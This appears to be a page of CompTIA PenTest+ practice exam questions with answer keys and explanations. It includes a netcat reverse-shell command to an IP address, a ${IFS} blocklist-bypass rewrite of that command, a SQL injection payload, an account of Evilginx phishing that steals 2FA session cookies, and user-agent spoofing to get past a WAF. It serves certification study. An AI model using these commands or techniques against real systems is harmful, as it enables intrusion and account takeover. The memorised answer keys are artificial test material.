Think You're Ready?

Your Final Exam Before the Final Exam.
Dare to Take It?

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?

A. ${IFS}

B. %0a

C. + *

D. %20

A.   ${IFS}

Explanation:
The goal is to bypass a filter that is blocking the space character in a command injection attack. The space is crucial for separating the command (nc), its flags (-e), and its arguments (/bin/sh, 10.10.10.16, 4444).
${IFS} is a special shell variable in Linux and other Unix-like systems. IFS stands for Internal Field Separator. By default, this variable contains whitespace characters—including the space, tab, and newline—which the shell uses to split words.
When the shell interpreter encounters ${IFS}, it replaces it with a space (or other whitespace). This allows an attacker to use ${IFS} as a direct substitute for the space character that is being filtered. The command would be rewritten as:

nc${IFS}-e${IFS}/bin/sh${IFS}10.10.10.16${IFS}4444
From the shell's perspective after variable expansion, this is identical to the original command: nc -e /bin/sh 10.10.10.16 4444.

Analysis of Incorrect Options
B. %0a:
This is a URL-encoded representation of a newline character (\n). While a newline can sometimes be used to terminate one command and start another in certain injection contexts (like in HTTP headers or web scripts), it is not a direct substitute for a space character. It would not correctly separate the arguments within the same nc command and would likely cause a syntax error.

*C. + :
These characters are not standard substitutes for a space in shell command syntax.
+ is an operator, not a word separator.
* is a wildcard for globbing (filename expansion). Using it in place of a space would lead to the shell expanding it to filenames in the current directory, which would break the command.

D. %20:
This is the URL-encoded representation of a space character. If the application is filtering the literal space character, it is highly likely also decoding URL-encoded input before applying the filter. Therefore, submitting %20 would simply be decoded back into a space, which would then be caught by the same blocklist. It does not effectively bypass a filter that is aware of basic encoding.

Reference
This question falls under CompTIA PenTest+ (PT0-003) Domain 3.0: Attacks and Exploits, specifically objective 3.2 Given a scenario, exploit network-based vulnerabilities and 3.3 Given a scenario, exploit application-based vulnerabilities.

As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

A. Logic bomb

B. SQL injection

C. Brute-force attack

D. Cross-site scripting

B.   SQL injection

Explanation:
During a penetration test, if an internal application accepts unexpected user input that results in the execution of arbitrary commands, the most likely issue is SQL Injection (SQLi). SQL injection occurs when an attacker or tester manipulates input fields so that the backend interprets the input as part of a SQL query. This vulnerability allows direct interaction with the database, enabling the execution of unintended commands and access to sensitive data.
For example, if the application builds a query dynamically:
SELECT * FROM users WHERE username = ' " + userInput + " ';

An attacker could enter:
' OR '1'='1
turning the query into:
SELECT * FROM users WHERE username = '' OR '1'='1';
This always returns true, granting unauthorized access to all records. Through this method, a tester could extract sensitive data, bypass authentication, and even modify or delete records. More advanced attacks might include Union-based SQLi (to merge queries), Boolean-based blind SQLi, or Time-based blind SQLi to infer data when direct output is restricted.
SQL injection vulnerabilities arise from improper input validation, lack of parameterized queries, or insufficient output encoding. These issues are common in applications that concatenate user input directly into SQL commands. Since the scenario specifically mentions arbitrary command execution via input fields, SQL injection is the most logical exploitation technique to access sensitive data.
Mitigation involves implementing prepared statements, stored procedures, input sanitization, and principle of least privilege for database accounts.

Why the Other Options Are Incorrect
A. Logic Bomb:
A logic bomb is malicious code that activates when certain conditions are met (e.g., a specific date or event). It’s typically planted by insiders or threat actors to cause harm later. Penetration testers do not deploy destructive payloads, and this technique does not relate to exploiting unexpected input or retrieving data from a database.

C. Brute-Force Attack:
A brute-force attack involves guessing passwords or encryption keys repeatedly until the correct one is found. It targets authentication systems, not vulnerabilities in how input is handled by applications. It does not involve executing arbitrary commands or querying data from a database.

D. Cross-Site Scripting (XSS):
XSS exploits client-side input validation flaws, allowing attackers to inject malicious scripts (usually JavaScript) into web pages viewed by other users. It targets the browser, not the server-side database, and therefore cannot execute backend commands or extract sensitive data stored on the server.

References
CompTIA PenTest+ (PT0-003) Exam Objectives, Domain 3.0 – Attacks and Exploits
OWASP Top 10 (2021) – A03:2021: Injection (https://owasp.org/Top10/A03_2021-Injection/ )
NIST SP 800-115, Technical Guide to Information Security Testing and Assessment, Section 5.3.4 – Application Testing
MITRE ATT&CK Framework, Technique T1190 – Exploit Public-Facing Application
CIS Controls v8, Control 16 – Application Software Security

✅ Summary:
The vulnerability described fits SQL injection, where improper handling of user input allows execution of backend database commands to access sensitive information. Other options like logic bombs, brute-force attacks, and XSS do not allow arbitrary command execution or database data extraction. Therefore, Option B (SQL Injection) is the correct and most accurate answer.

Which of the following components should a penetration tester include in an assessment report?

A. User activities

B. Customer remediation plan

C. Key management

D. Attack narrative

D.   Attack narrative

Explanation:
An attack narrative is a critical component of a penetration test assessment report. It describes, in a clear and chronological manner, how the penetration tester conducted the attack, what vulnerabilities were exploited, how access was gained or escalated, and what impact was achieved.
This helps the client’s technical and management teams understand:
The sequence of events and attack paths used,
The real-world impact of the vulnerabilities, and
How an attacker could compromise their environment.
The attack narrative provides context that connects raw findings (e.g., CVEs or weak configurations) to practical security risks — making it easier for the organization to prioritize remediation.

Why the Other Options Are Incorrect:
A. User activities:
Regular user activity logs are not part of a penetration test report. The report focuses on tester actions and results, not end-user behavior.
B. Customer remediation plan:
While testers may recommend remediation steps, creating or managing the customer’s remediation plan is the customer’s responsibility, not part of the tester’s report.
C. Key management:
Key management refers to the secure handling of cryptographic keys — not a component of a pentest report.

Reference:
CompTIA PenTest+ PT0-003 Exam Objective 5.2: "Explain the importance of communication during the penetration testing process."
PTES (Penetration Testing Execution Standard) Reporting Phase
NIST SP 800-115: Technical Guide to Information Security Testing and Assessment — Section on “Reporting”

✅ Summary:
A professional penetration test report must include an attack narrative (Option D) that clearly explains how the tester exploited vulnerabilities and achieved objectives during the engagement.

During an engagement, a penetration tester found some weaknesses that were common across the customer’s entire environment. The weaknesses included the following:

Weaker password settings than the company standard
Systems without the company's endpoint security software installed
Operating systems that were not updated by the patch management system

Which of the following recommendations should the penetration tester provide to address the root issue?

A. Add all systems to the vulnerability management system.

B. Implement a configuration management system.

C. Deploy an endpoint detection and response system.

D. Patch the out-of-date operating systems.

B.   Implement a configuration management system.

Explanation:
The weaknesses identified — weak passwords, missing endpoint protection, and unpatched systems — indicate a lack of centralized enforcement and monitoring of configuration standards. This points to an issue with configuration drift (systems not adhering to baseline security configurations).
A configuration management system helps ensure that all systems are consistently configured according to the organization’s standards. It automates deployment, maintains compliance, and prevents configuration drift.

Key points:
It enforces password policies.
It ensures endpoint protection software is installed and active.
It guarantees that systems receive updates and patches as defined in the baseline.
By implementing configuration management, the organization can address the root cause of inconsistent configurations across its environment.

Why the Other Options Are Incorrect:
A. Add all systems to the vulnerability management system:
A vulnerability management system helps identify vulnerabilities, but it doesn’t enforce configuration standards or correct them automatically. It’s reactive rather than proactive.
C. Deploy an endpoint detection and response (EDR) system:
EDR focuses on detecting and responding to endpoint threats, not on ensuring consistent configuration or enforcing password and patching policies.
D. Patch the out-of-date operating systems:
Patching is necessary but only addresses one of the symptoms. It doesn’t solve the broader issue of inconsistent configurations or missing security software.

Reference:
CompTIA PenTest+ (PT0-003) Exam Objective 5.3: "Explain post-report delivery activities."
NIST SP 800-128: Guide for Security-Focused Configuration Management of Information Systems
CIS Controls v8 – Control 4: Secure Configuration of Enterprise Assets and Software

✅ Summary:
The root issue is inconsistent system configurations — the best solution is to implement a configuration management system (Option B).

A consultant starts a network penetration test. The consultant uses a laptop that is hardwired to the network to try to assess the network with the appropriate tools. Which of the following should the consultant engage first?

A. Service discovery

B. OS fingerprinting

C. Host discovery

D. DNS enumeration

C.   Host discovery

Explanation:
A network penetration test follows a logical, phased methodology. The initial phase after connecting to the network is to understand what you are connected to. The consultant needs to map the attack surface before targeting specific systems or services.
Host discovery (also known as host enumeration or network scanning) is the absolute first step. Its goal is to answer the fundamental question: "Which IP addresses on this network are active and have live hosts?"
This is typically done using tools like ping sweeps or more advanced techniques with nmap (e.g., nmap -sn 192.168.1.0/24). This step identifies active devices but does not probe them for details. It creates the initial target list for all subsequent, more invasive steps.
Engaging in any other step before host discovery would be inefficient and illogical, as you would be probing IP addresses that might not even exist.

Analysis of Incorrect Options
A. Service discovery:
This is the step that follows host discovery. Once you know which hosts are alive, you then probe them to find out which ports are open and what services are running on those ports (e.g., nmap -sS -sV 192.168.1.10). Performing service discovery on the entire network range without first finding live hosts would be extremely slow and generate unnecessary network noise.
B. OS fingerprinting:
This is a more advanced form of service discovery. It involves analyzing the specific responses from a host to determine its underlying operating system (e.g., Windows 11 vs. Linux Ubuntu). This requires a live host to target and is performed after both host and service discovery have identified a viable target.
D. DNS enumeration:
This is a valuable information-gathering technique, but it is not the first step when you are already connected to the internal network. DNS enumeration (using tools like nslookup, dig, or dnsrecon) is often part of the external reconnaissance phase before gaining network access, or it is used internally to map hostnames to the IP addresses you discovered during the host discovery phase. It relies on knowing what to look for, which is informed by the list of live hosts.

Reference
This question aligns with the CompTIA PenTest+ (PT0-003) Domain 2.0: Information Gathering and Vulnerability Scanning and the general penetration testing methodology.
The standard sequence for network reconnaissance is:
1.Host Discovery: Find live hosts.
2.Port Scanning / Service Discovery: Find open ports and services on live hosts.
3.Version Detection & OS Fingerprinting: Interrogate the discovered services for specific versions and OS data.
4.Vulnerability Scanning: Use tools like Nessus or Nexpose to check services against a database of known vulnerabilities.

A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives’ accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?

A. Configure an external domain using a typosquatting technique. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.

B. Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.

C. Configure an external domain using a typosquatting technique. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.

D. Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.

A.   Configure an external domain using a typosquatting technique. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.

Explanation:
This scenario describes a targeted phishing attack (spear phishing) against executives with two-factor authentication (2FA) enabled. Standard credential harvesting, where you simply steal a username and password, would fail at the 2FA prompt. To succeed, the tester needs a technique that can intercept both the credentials and the 2FA token in real-time.

Typosquatting Domain:
Using a domain that looks similar to the company's legitimate domain (e.g., c0mpany.com instead of company.com) is a classic social engineering tactic to increase the likelihood that a victim will click the link and not notice the deception in the URL.
Evilginx:
Evilginx is a modern phishing tool specifically designed as a man-in-the-middle (MITM) attack framework. It sits between the victim and the legitimate service (like the company's mail portal).
The victim clicks a link to the typosquatted domain, which points to the tester's Evilginx server.
Evilginx proxies all traffic to the real mail portal. The victim sees a perfect replica because it is the real site, just passed through the attacker's proxy.
The victim enters their username and password. Evilginx captures them and forwards them to the real site.
The real site responds with a 2FA challenge. Evilginx proxies this challenge to the victim.
The victim enters the 2FA code (e.g., from an authenticator app). Evilginx captures this token.
At this moment, Evilginx has a valid, authenticated session cookie. It steals this cookie and uses it to impersonate the victim, effectively bypassing the need for the password and 2FA code in the future.
A "phishlet" in Evilginx is a configuration file that tells the tool how to properly mimic a specific website (like Office 365 or Gmail), making it the correct tool for this specific job.

Analysis of Incorrect Options
B. Configure Gophish to use an external domain.
Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
Why it's wrong: Gophish is excellent for credential harvesting but cannot inherently bypass 2FA. It presents a cloned (static) login page. Once the victim submits credentials, the attack is over. The tester would have the username and password but no 2FA code. Brute-forcing a time-based or app-generated 2FA code is computationally infeasible due to the short time window and large number of possibilities.

C. Configure an external domain using a typosquatting technique.
Configure SET to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
Why it's wrong:The Social-Engineer Toolkit (SET) is a powerful tool, but its primary function for web attacks is credential harvesting via cloned sites, similar to Gophish. While it can be integrated with other tools, SET itself does not natively use the concept of "phishlets" or perform real-time MITM attacks to steal session cookies. "Phishlet" is a term specific to Evilginx. SET is not the best tool for this specific 2FA-bypass objective.

D. Configure Gophish to use an external domain.
Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.
Why it's wrong:This is a disjointed and highly unreliable attack chain. Gophish would harvest the credentials, but then the attacker would need to perform a separate, real-time vishing (phone call) attack to trick the user into reading their 2FA code aloud. This is a different attack vector altogether, requires immediate interaction, and is much more likely to raise suspicion and fail compared to a seamless, automated MITM attack like Evilginx.

Reference:
This question falls under CompTIA PenTest+ (PT0-003) Domain 3.0: Attacks and Exploits, specifically:
3.1 Given a scenario, research attack vectors and perform appropriate attacks.
3.4 Explain social engineering attack techniques.

A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?

A. Testing window

B. Terms of service

C. Authorization letter

D. Shared responsibilities

A.   Testing window

 Explanation:
The Rules of Engagement (RoE) is a foundational document in a penetration test that outlines the how, when, and where of the testing activities. It acts as a set of permissions and guidelines for the penetration testers to operate within, ensuring the test is conducted safely, legally, and effectively.

A testing window
is a classic and core component of the RoE. It explicitly defines the specific days and times when offensive security testing is permitted (e.g., "Saturday 10:00 PM - Sunday 6:00 AM" or "Weekdays 7:00 PM - 12:00 AM"). This is crucial for several reasons:
Minimizing Business Impact:
It schedules testing during off-peak or maintenance hours to reduce the risk of disrupting critical business operations.
Safety and Coordination:
It allows the client's IT and security teams to be on high alert, knowing that any system anomalies during that window are likely part of the authorized test and not a real attack.
Defining Scope in Time:
It clearly limits the tester's authorized activities to a specific timeframe.

Analysis of Incorrect Options
B. Terms of service:
The Terms of Service (ToS) is a legal agreement between a service provider and its end-users, governing the use of a website or application. It is not a document that defines the parameters of a professional security assessment between a client and a testing firm. The legal agreement between the client and the tester is the Master Service Agreement (MSA) or Statement of Work (SOW), not the ToS.
C. Authorization letter:
Also known as a "get-out-of-jail-free card," the authorization letter is a separate, critical document. While the RoE details the rules, the authorization letter is the formal, signed document from a person of authority (e.g., CISO, CEO) that grants explicit permission for the test to occur. The tester must carry this letter at all times during the engagement. It is a product of the agreed-upon RoE but is a distinct artifact.
D. Shared responsibilities:
This is a component typically found in the Statement of Work (SOW) or the Master Service Agreement (MSA). The SOW outlines what each party is responsible for (e.g., the tester is responsible for conducting the test and producing the report; the client is responsible for providing system access and point-of-contact information). While related, "shared responsibilities" are more contractual and project-management oriented, whereas the RoE is more tactical and operational.

Reference:
This question falls under CompTIA PenTest+ (PT0-003) Domain 1.0: Planning and Scoping, specifically objective 1.2 Explain the importance of scoping and organizational/customer requirements.

A penetration tester attempts to run an automated web application scanner against a target URL.
The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:

200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python

Which of the following actions should the tester take to get the scans to work properly?

A. Modify the scanner to slow down the scan.

B. Change the source IP with a VPN.

C. Modify the scanner to only use HTTP GET requests.

D. Modify the scanner user agent.

D.   Modify the scanner user agent.

Explanation:
The log output clearly indicates that the target web server is filtering or blocking requests based on the User-Agent string.

Let's analyze the log:
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
Result: Success (200 OK).
Method: GET
User-Agent: Mozilla/5.0 (A common, browser-like user agent).
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
Result: No response (likely blocked).
Method: POST
User-Agent: curl (A common command-line tool user agent).
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
Result: Success (200 OK).
Method: POST
User-Agent: Mozilla/5.0 (Browser-like).
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python
Result: No response (likely blocked).
Method: GET
User-Agent: python (A common scripting/user agent).

Key Observation:
The success or failure of the request is not dependent on the HTTP method (GET vs. POST). It is solely dependent on the User-Agent. Every request with Mozilla/5.0 succeeds, while every request with a non-browser User-Agent (curl, python) fails.
This is a common security control, often implemented via a Web Application Firewall (WAF), to block automated scripts and scanners that use default or easily identifiable User-Agent strings. The automated scanner is likely using its default User-Agent (like curl or python-requests), which is being blocked.
Therefore, the most direct and effective action is to modify the scanner's user agent to mimic a common web browser (like Mozilla/5.0...) to evade this simple detection mechanism.

Analysis of Incorrect Options
A. Modify the scanner to slow down the scan.
This would be a valid tactic if the issue were rate limiting, where too many requests in a short period trigger a block. The log shows an immediate block on the first request with a specific User-Agent, not a pattern of successful requests followed by a block, so rate limiting is not the issue here.
B. Change the source IP with a VPN.
This would be a valid tactic if the blocking were based on the source IP address. However, the log shows that requests from the same source IP are successful when they use a Mozilla user agent and fail when they use a curl or python user agent. The IP is not the discriminating factor.
C. Modify the scanner to only use HTTP GET requests.
The log proves this is ineffective. A GET request with a python user agent fails (No response), while a POST request with a Mozilla user agent succeeds. The HTTP method is irrelevant to the block.

Reference:
This scenario falls under the CompTIA PenTest+ (PT0-003) Domain 3.0: Attacks and Exploits, specifically objective 3.2 Given a scenario, exploit network-based vulnerabilities. Part of network exploitation involves evading defensive measures, such as WAF rules that filter based on HTTP headers like the User-Agent.

Which of the following technologies is most likely used with badge cloning? (Select two).

A. NFC

B. RFID

C. Bluetooth

D. Modbus

E. Zigbee

F. CAN bus

A.   NFC
B.   RFID

Explanation:

Badge cloning is a physical security attack where an adversary intercepts the wireless signal of an access credential to create an unauthorized duplicate. This process predominantly targets RFID and NFC technologies, which serve as the communication backbone for most physical access control systems (PACS).

Incorrect Options Analysis

Bluetooth (C):
While used for some modern mobile-entry systems, Bluetooth involves complex pairing and encrypted handshakes that are fundamentally different from the simple "read and replicate" nature of badge cloning.

Modbus (D):
This is an application-layer messaging protocol used for communication between devices in industrial control systems (ICS/SCADA). It has no application in physical access badges.

Zigbee (E):
A low-power, wireless mesh network protocol used primarily for IoT devices and home automation sensors, not for credential-based entry.

CAN bus (F):
The Controller Area Network is a specialized bus standard used within vehicles to allow microcontrollers to communicate. It is unrelated to building access badges.

References
CompTIA PenTest+ (PT0-003) Domain 3.0: Physical Security Attacks (3.4).
NIST Special Publication 800-116: Guidelines for the Use of PIV Credentials in Facility Access.

During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine. Which of the following tools should the penetration tester use to continue the attack?

A. Responder

B. Hydra

C. BloodHound

D. CrackMapExec

D.   CrackMapExec

Explanation:

Once an NTLM hash is obtained from a legacy Windows machine, a penetration tester can leverage CrackMapExec (CME)—now widely succeeded by NetExec—to perform a Pass-the-Hash (PtH) attack. Unlike standard authentication which requires a plaintext password, the NTLM hash itself is sufficient for authenticating over the Server Message Block (SMB) protocol.

Incorrect Options Analysis

Responder (A):
This tool is used for poisoning LLMNR, NBT-NS, and MDNS requests to capture hashes in the first place. It is a "man-in-the-middle" tool used for credential harvesting, not for utilizing a hash after it has already been obtained.

Hydra (B):
This is a parallelized network login cracker used for brute-forcing or dictionary attacks against plaintext passwords. While it supports many protocols, it is not the primary tool for Pass-the-Hash maneuvers in a Windows environment.

BloodHound (C):
This is a graphical tool used to map complex attack paths and relationships within Active Directory (AD). While it helps a tester identify where to go, it does not natively perform the authentication or command execution required to continue the attack with a hash.

References
CompTIA PenTest+ (PT0-003) Objective 3.2: Given a scenario, perform network-based attacks.
MITRE ATT&CK Framework: Technique T1550.002 (Use Alternate Authentication Material: Pass the Hash).

Page 9 out of 28 Pages